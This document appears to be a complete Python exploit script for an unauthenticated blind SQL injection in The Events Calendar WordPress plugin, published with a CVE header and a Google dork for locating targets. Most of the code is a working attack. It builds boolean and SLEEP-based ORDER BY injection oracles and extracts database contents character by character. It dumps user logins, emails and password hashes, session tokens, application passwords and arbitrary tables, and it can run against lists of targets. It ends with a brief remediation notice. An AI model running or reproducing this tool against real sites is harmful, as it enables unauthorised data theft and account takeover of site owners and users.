#!/usr/bin/env python3
# CVE-2026-49772 - The Events Calendar (WordPress) Unauthenticated Blind SQL Injection
# Affected: The Events Calendar 6.15.12 - 6.16.2 (fixed in 6.16.3)
# Impact: Unauthenticated blind SQLi via the `order` param on /wp-json/tec/v1/events
#         (ORDER BY injection). Full read of the database. No write, no stacked queries.
# Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Repo: https://github.com/joshuavanderpoll/CVE-2026-49772
# Tested on: WordPress 6.7.2 + The Events Calendar 6.16.2 (Linux docker lab)
#
# Exploit Title: The Events Calendar 6.15.12-6.16.2 - Unauthenticated Blind SQL Injection
# Google Dork: inurl:"/wp-json/tec/v1/events"
# Date: 2026-06-22
# Exploit Author: Joshua van der Poll
# Vendor Homepage: https://theeventscalendar.com/
# Software Link: https://downloads.wordpress.org/plugin/the-events-calendar.6.16.2.zip
# Version: 6.15.12 - 6.16.2
# Tested on: WordPress 6.7.2 + The Events Calendar 6.16.2
# CVE: CVE-2026-49772

import argparse
import json
import re
import shutil
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
from concurrent.futures import ThreadPoolExecutor

RESET = "\033[0m"
BOLD = "\033[1m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
PINK = "\033[95m"
CYAN = "\033[96m"

ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")

REPO = "https://github.com/joshuavanderpoll/CVE-2026-49772"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-49772; +{REPO})"

# Experimental endpoint gate - server lowercases and compares this exact string.
EEA = (
    "I understand that this endpoint is experimental and may change in a future "
    "release without maintaining backward compatibility. I also understand that I "
    "am using this endpoint at my own risk, while support is not provided for it."
)

VULN_MIN = (6, 15, 12)
VULN_MAX = (6, 16, 2)


def err(msg):
    print(f"{RED}[-]{RESET} {msg}")


def ok(msg):
    print(f"{GREEN}[+]{RESET} {msg}")


def info(msg):
    print(f"{BLUE}[*]{RESET} {msg}")


def proc(msg):
    print(f"{CYAN}[@]{RESET} {msg}")


def banner():
    art = r"""
  ______   ______    ___  ___  ___  ____     ____ ___  ___________
 / ___/ | / / __/___|_  |/ _ \|_  |/ __/____/ / // _ \/_  /_  /_  |
/ /__ | |/ / _//___/ __// // / __// _ \/___/_  _/\_, / / / / / __/
\___/ |___/___/   /____/\___/____/\___/     /_/ /___/ /_/ /_/____/
"""
    print(f"{PINK}{art}{RESET}")
    print(f"{PINK}{BOLD}{REPO}{RESET}\n")


def normalize(target):
    target = target.strip().rstrip("/")

    if "://" not in target:
        target = "http://" + target

    return target


def hexlit(value):
    if isinstance(value, str):
        value = value.encode("utf-8")

    return "0x" + value.hex()


def parse_version(text):
    nums = []

    for p in text.strip().split(".")[:3]:
        digits = "".join(c for c in p if c.isdigit())
        nums.append(int(digits) if digits else 0)

    while len(nums) < 3:
        nums.append(0)

    return tuple(nums)


def is_vulnerable_version(ver):
    return VULN_MIN <= ver <= VULN_MAX


def http_get(url, ua, timeout, headers=None):
    req = urllib.request.Request(url, method="GET")
    req.add_header("User-Agent", ua)

    if headers:
        for k, v in headers.items():
            req.add_header(k, v)

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    start = time.perf_counter()

    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        body = resp.read()
        elapsed = time.perf_counter() - start
        return resp.status, dict(resp.headers), body, elapsed

    except urllib.error.HTTPError as e:
        elapsed = time.perf_counter() - start
        return e.code, dict(e.headers), e.read(), elapsed

    except Exception as e:
        elapsed = time.perf_counter() - start
        return None, {}, str(e).encode(), elapsed


def events_request(base, ua, timeout, order):
    url = base + "/wp-json/tec/v1/events?" + urllib.parse.urlencode(
        {"orderby": "event_date", "order": order}
    )
    return http_get(url, ua, timeout, {"X-TEC-EEA": EEA})


class Oracle:
    # Wraps the blind ORDER BY injection into a single boolean test:
    #   true(cond) -> True if the SQL condition `cond` holds on the target.
    def __init__(self, base, ua, timeout, technique, delay):
        self.base = base
        self.ua = ua
        self.timeout = timeout
        self.technique = technique
        self.delay = delay
        self.requests = 0

    def _send(self, order):
        self.requests += 1
        return events_request(self.base, self.ua, self.timeout, order)

    def true(self, cond):
        if self.technique == "time":
            order = f"ASC,(SELECT CASE WHEN ({cond}) THEN SLEEP({self.delay}) ELSE 0 END)"
            _, _, _, elapsed = self._send(order)
            return elapsed >= self.delay

        # boolean: a true condition triggers a multi-row subquery error, which
        # makes the whole SELECT fail and the endpoint return an empty array.
        order = f"ASC,(SELECT CASE WHEN ({cond}) THEN (SELECT 1 UNION SELECT 2) ELSE 1 END)"
        _, _, body, _ = self._send(order)
        return body.strip() == b"[]"

    def gt(self, expr, n):
        return self.true(f"({expr})>{n}")

    def calibrate(self):
        # A known-true and known-false condition must read differently, else the
        # oracle is unreliable (wrong baseline, WAF, no rows, etc.).
        return self.true("1=1") and not self.true("1=2")

    def errors(self, subquery):
        # A real LENGTH is never above a million; only an erroring subquery makes
        # the comparison itself fail, which the boolean oracle reads as "true".
        # Catches invalid table/column names before a pointless full extraction.
        return self.technique == "boolean" and self.gt(f"LENGTH(({subquery}))", 1000000)


def search_int(oracle, expr, hi):
    lo = 0

    while lo < hi:
        mid = (lo + hi) // 2

        if oracle.gt(expr, mid):
            lo = mid + 1
        else:
            hi = mid

    return lo


def extract_string(oracle, subquery, threads=8, max_length=1024, live=False, prefix=""):
    if oracle.errors(subquery):
        return None

    length = search_int(oracle, f"LENGTH(({subquery}))", max_length)

    if length <= 0:
        return ""

    if length >= max_length:
        err(f"Value hit the {max_length}-char cap - query may be invalid or huge")
        return None

    chars = [None] * length
    stream = live and sys.stdout.isatty()
    lock = threading.Lock()

    prefix_len = len(ANSI_RE.sub("", prefix))

    def render(end=False):
        line = "".join(c if c is not None else "·" for c in chars)

        # Final value prints in full (may wrap once). Live frames are clamped to a
        # single terminal row so \r + clear-line can fully overwrite them.
        if not end:
            avail = max(10, shutil.get_terminal_size((100, 24)).columns - prefix_len - 1)
            if len(line) > avail:
                line = line[: avail - 1] + "…"

        sys.stdout.write(f"\033[2K\r{prefix}{line}{RESET}")
        if end:
            sys.stdout.write("\n")
        sys.stdout.flush()

    if stream:
        render()

    def pull(pos):
        code = search_int(oracle, f"ASCII(SUBSTRING(({subquery}),{pos},1))", 127)
        chars[pos - 1] = chr(code) if code else ""

        if stream:
            with lock:
                render()

    with ThreadPoolExecutor(max_workers=threads) as pool:
        pool.map(pull, range(1, length + 1))

    result = "".join(c or "" for c in chars)

    if stream:
        render(end=True)

    return result


def show(oracle, sql, threads, label, max_length=512):
    # Extract one value, streaming it live, and report it consistently.
    value = extract_string(
        oracle, sql, threads, max_length, live=True, prefix=f"{GREEN}[+]{RESET} {label}: "
    )

    if value is None:
        err(f"{label}: query errored")
    elif not sys.stdout.isatty():
        ok(f"{label}: {value}")

    return value


def detect_version(base, ua, timeout):
    url = base + "/wp-content/plugins/the-events-calendar/readme.txt"
    status, _, body, _ = http_get(url, ua, timeout)

    if status != 200 or not body:
        return None

    for line in body.decode("utf-8", "ignore").splitlines():
        if line.lower().startswith("stable tag"):
            return line.split(":", 1)[1].strip()

    return None


def detect_endpoint(base, ua, timeout):
    status, _, body, _ = http_get(base + "/wp-json/", ua, timeout)

    if status != 200 or not body:
        return False

    try:
        return "tec/v1" in json.loads(body).get("namespaces", [])
    except Exception:
        return False


def count_events(base, ua, timeout):
    status, headers, _, _ = events_request(base, ua, timeout, "ASC")

    if status != 200:
        return None

    total = headers.get("X-WP-Total")
    return int(total) if total and total.isdigit() else None


def ensure_ready(base, ua, timeout):
    if not detect_endpoint(base, ua, timeout):
        err("REST namespace tec/v1 not found - plugin missing or endpoint disabled")
        return False

    version = detect_version(base, ua, timeout)

    if version:
        flag = "affected" if is_vulnerable_version(parse_version(version)) else "outside range"
        info(f"The Events Calendar version: {version} ({flag})")

    n = count_events(base, ua, timeout)

    if n is None:
        err("Events endpoint not reachable")
        return False

    if n == 0:
        err("No events present - the blind ORDER BY oracle needs >=1 row")
        return False

    info(f"Endpoint live, {n} event(s) visible - oracle ready")
    return True


def detect_prefix(oracle, threads, override):
    if override:
        return override

    name = extract_string(
        oracle,
        "SELECT table_name FROM information_schema.tables "
        "WHERE table_schema=database() AND table_name LIKE 0x255f7573657273 LIMIT 1",
        threads,
        max_length=64,
    )

    if name and name.endswith("users"):
        return name[: -len("users")]

    return "wp_"


def run_check(base, ua, timeout):
    proc(f"Target: {base}")

    if not detect_endpoint(base, ua, timeout):
        err("REST namespace tec/v1 not found - plugin missing or endpoint disabled")
        return False

    ok("REST namespace tec/v1 is exposed")

    version = detect_version(base, ua, timeout)

    if version:
        info(f"Detected The Events Calendar version: {version}")

        if is_vulnerable_version(parse_version(version)):
            ok(f"Version {version} is in the affected range (6.15.12 - 6.16.2)")
        else:
            err(f"Version {version} is outside the affected range")
    else:
        info("Version not readable from readme.txt - relying on behaviour check")

    n = count_events(base, ua, timeout)

    if n is not None:
        info(f"Published events visible to the endpoint: {n}")

        if n == 0:
            err("No events present - time-based ORDER BY check needs >=1 row")
            return False

    delay = 3
    proc(f"Running non-destructive time-based check (SLEEP {delay})...")

    _, _, _, base_a = events_request(base, ua, timeout, "ASC")
    _, _, _, base_b = events_request(base, ua, timeout, "DESC")
    baseline = min(base_a, base_b)

    _, _, _, injected = events_request(base, ua, timeout, f"ASC,(SELECT SLEEP({delay}))")

    info(f"Baseline: {baseline:.2f}s   Injected: {injected:.2f}s")

    if injected - baseline >= delay:
        ok(f"{BOLD}VULNERABLE{RESET} - injected SLEEP delayed the response")
        info("Sink: ORDER BY event_date <order> on /wp-json/tec/v1/events")
        return True

    err("No significant delay - target does not appear injectable (likely patched)")
    return False


def run_recon(oracle, threads, prefix_override):
    proc("Fingerprinting database...")

    prefix = detect_prefix(oracle, threads, prefix_override)
    ok(f"Table prefix: {prefix}")

    items = [
        ("DB version", "SELECT @@version"),
        ("Current user", "SELECT CURRENT_USER()"),
        ("Database", "SELECT DATABASE()"),
        ("Hostname", "SELECT @@hostname"),
        ("Compile OS", "SELECT @@version_compile_os"),
        (
            "Privileges",
            "SELECT GROUP_CONCAT(privilege_type) FROM information_schema.user_privileges",
        ),
    ]

    for label, sql in items:
        show(oracle, sql, threads, label)

    users = search_int(oracle, f"SELECT COUNT(*) FROM {prefix}users", 100000)
    ok(f"WordPress users: {users}")

    info(f"Requests sent: {oracle.requests}")
    return True


def dump_rows(oracle, table, columns, threads, where, rows):
    cond = f" WHERE {where}" if where else ""
    total = search_int(oracle, f"SELECT COUNT(*) FROM {table}{cond}", 1000000)
    ok(f"{table}: {total} row(s)")

    limit = min(total, rows)

    if total > rows:
        info(f"Showing first {rows} (use --rows to change)")

    sep = hexlit("|")
    coalesced = ",".join(f"COALESCE({c},0x4e554c4c)" for c in columns)

    print(f"{BOLD}{' | '.join(columns)}{RESET}")

    for i in range(limit):
        sql = f"SELECT CONCAT_WS({sep},{coalesced}) FROM {table}{cond} LIMIT {i},1"
        row = extract_string(
            oracle, sql, threads, max_length=4096, live=True, prefix=f"{GREEN}[{i}] {RESET}{GREEN}"
        )

        if row is None:
            err("Row query errored - check the table name and --where clause")
            break

        if not sys.stdout.isatty():
            print(f"{GREEN}[{i}] {row}{RESET}")

    info(f"Requests sent: {oracle.requests}")
    return True


def run_users(oracle, threads, prefix_override, rows):
    prefix = detect_prefix(oracle, threads, prefix_override)
    proc(f"Dumping {prefix}users...")
    cols = ["ID", "user_login", "user_email", "user_pass", "user_activation_key"]
    return dump_rows(oracle, f"{prefix}users", cols, threads, None, rows)


def run_user_meta(oracle, threads, prefix_override, rows, where):
    prefix = detect_prefix(oracle, threads, prefix_override)
    proc(f"Dumping {prefix}usermeta...")

    if not where:
        # Default to the security-relevant meta keys.
        keys = ["session_tokens", f"{prefix}capabilities", "community_events_status"]
        app_pw = "_application_passwords"
        in_list = ",".join(hexlit(k) for k in keys + [app_pw])
        where = f"meta_key IN ({in_list})"
        info("Filtering to session/capability/app-password keys (override with --where)")

    cols = ["umeta_id", "user_id", "meta_key", "meta_value"]
    return dump_rows(oracle, f"{prefix}usermeta", cols, threads, where, rows)


def run_get_table(oracle, threads, table, rows, where):
    proc(f"Discovering columns of {table}...")

    cols_csv = extract_string(
        oracle,
        "SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
        f"WHERE table_schema=database() AND table_name={hexlit(table)} "
        "ORDER BY ordinal_position",
        threads,
        max_length=2048,
    )

    if not cols_csv:
        err(f"Table '{table}' not found or has no columns")
        return False

    columns = [c for c in cols_csv.split(",") if c]
    ok(f"Columns: {', '.join(columns)}")

    return dump_rows(oracle, table, columns, threads, where, rows)


def run_query(oracle, threads, sql):
    proc(f"Extracting: {sql}")
    value = show(oracle, sql, threads, "Result", max_length=4096)

    if value is None:
        return False

    info(f"Requests sent: {oracle.requests}")
    return True


def build_parser():
    parser = argparse.ArgumentParser(
        prog="CVE-2026-49772.py",
        description=(
            "CVE-2026-49772 - The Events Calendar (WordPress) unauthenticated blind "
            "SQL injection. Exfiltrates data over the `order` param on "
            "/wp-json/tec/v1/events. Read-only: no writes, no stacked queries."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "examples:\n"
            "  CVE-2026-49772.py target.tld --check\n"
            "  CVE-2026-49772.py target.tld --recon\n"
            "  CVE-2026-49772.py target.tld --users\n"
            "  CVE-2026-49772.py target.tld --user-meta\n"
            "  CVE-2026-49772.py target.tld --get-table wp_options --rows 5\n"
            "  CVE-2026-49772.py target.tld --query 'SELECT @@version'\n"
        ),
    )

    tgt = parser.add_argument_group("target")
    tgt.add_argument("target", nargs="?", help="Target URL or host (http:// auto-added)")
    tgt.add_argument("-l", "--list", metavar="FILE", help="File with targets, one per line")

    act = parser.add_argument_group("actions (pick one)")
    act.add_argument("--check", action="store_true", help="Non-breaking vulnerability check")
    act.add_argument("--recon", action="store_true", help="Fingerprint the database server")
    act.add_argument("--users", action="store_true", help="Dump WordPress users + password hashes")
    act.add_argument(
        "--user-meta", action="store_true", help="Dump usermeta (sessions, app passwords, caps)"
    )
    act.add_argument("--get-table", metavar="TABLE", help="Dump an arbitrary table by name")
    act.add_argument("--query", metavar="SQL", help="Extract the result of a scalar SELECT")

    ext = parser.add_argument_group("extraction tuning")
    ext.add_argument(
        "--technique",
        choices=["boolean", "time"],
        default="boolean",
        help="Oracle type: boolean (fast, default) or time (SLEEP-based, noisy networks)",
    )
    ext.add_argument(
        "--delay", type=float, default=2.0, metavar="SEC", help="SLEEP seconds for time technique"
    )
    ext.add_argument("--threads", type=int, default=8, metavar="N", help="Concurrent requests")
    ext.add_argument("--rows", type=int, default=30, metavar="N", help="Max rows for table dumps")
    ext.add_argument("--prefix", metavar="P", help="WP table prefix (default: auto-detect)")
    ext.add_argument("--where", metavar="SQL", help="Extra WHERE clause for table/usermeta dumps")

    http = parser.add_argument_group("http")
    http.add_argument("-useragent", default=DEFAULT_UA, metavar="UA", help="Custom User-Agent")
    http.add_argument("-timeout", type=float, default=15.0, metavar="SEC", help="Request timeout")

    return parser


def selected_action(args):
    flags = [
        args.check,
        args.recon,
        args.users,
        args.user_meta,
        bool(args.get_table),
        bool(args.query),
    ]
    return sum(1 for f in flags if f)


def run_target(base, args):
    proc(f"Target: {base}")

    if args.check:
        return run_check(base, args.useragent, args.timeout)

    if not ensure_ready(base, args.useragent, args.timeout):
        return False

    oracle = Oracle(base, args.useragent, args.timeout, args.technique, args.delay)
    info(f"Technique: {args.technique}   Threads: {args.threads}")

    if not oracle.calibrate():
        err("Oracle calibration failed - true/false conditions are indistinguishable")
        err("Try --technique time, or check the target is still injectable")
        return False

    if args.recon:
        return run_recon(oracle, args.threads, args.prefix)

    if args.users:
        return run_users(oracle, args.threads, args.prefix, args.rows)

    if args.user_meta:
        return run_user_meta(oracle, args.threads, args.prefix, args.rows, args.where)

    if args.get_table:
        return run_get_table(oracle, args.threads, args.get_table, args.rows, args.where)

    if args.query:
        return run_query(oracle, args.threads, args.query)

    return False


def main():
    parser = build_parser()
    args = parser.parse_args()

    banner()

    if not args.target and not args.list:
        err("Provide a target or -l <file>")
        sys.exit(1)

    if selected_action(args) != 1:
        err("Pick exactly one action: --check, --recon, --users, --user-meta, --get-table, --query")
        sys.exit(1)

    targets = []

    if args.list:
        try:
            with open(args.list) as fh:
                targets = [line.strip() for line in fh if line.strip()]
        except OSError as e:
            err(f"Could not read list: {e}")
            sys.exit(1)

    if args.target:
        targets.append(args.target)

    success = False

    for raw in targets:
        print()

        if run_target(normalize(raw), args):
            success = True

    if success:
        remediation()
        print()
        print(
            f"{YELLOW}⭐ If this tool helped you, consider starring the repo: "
            f"{BOLD}{YELLOW}{REPO}{RESET}"
        )


def remediation():
    print()
    info("Remediation:")
    info("  - Update The Events Calendar to >= 6.16.3")
    info("  - Until patched, block /wp-json/tec/v1/ at the WAF/reverse proxy")


if __name__ == "__main__":
    main()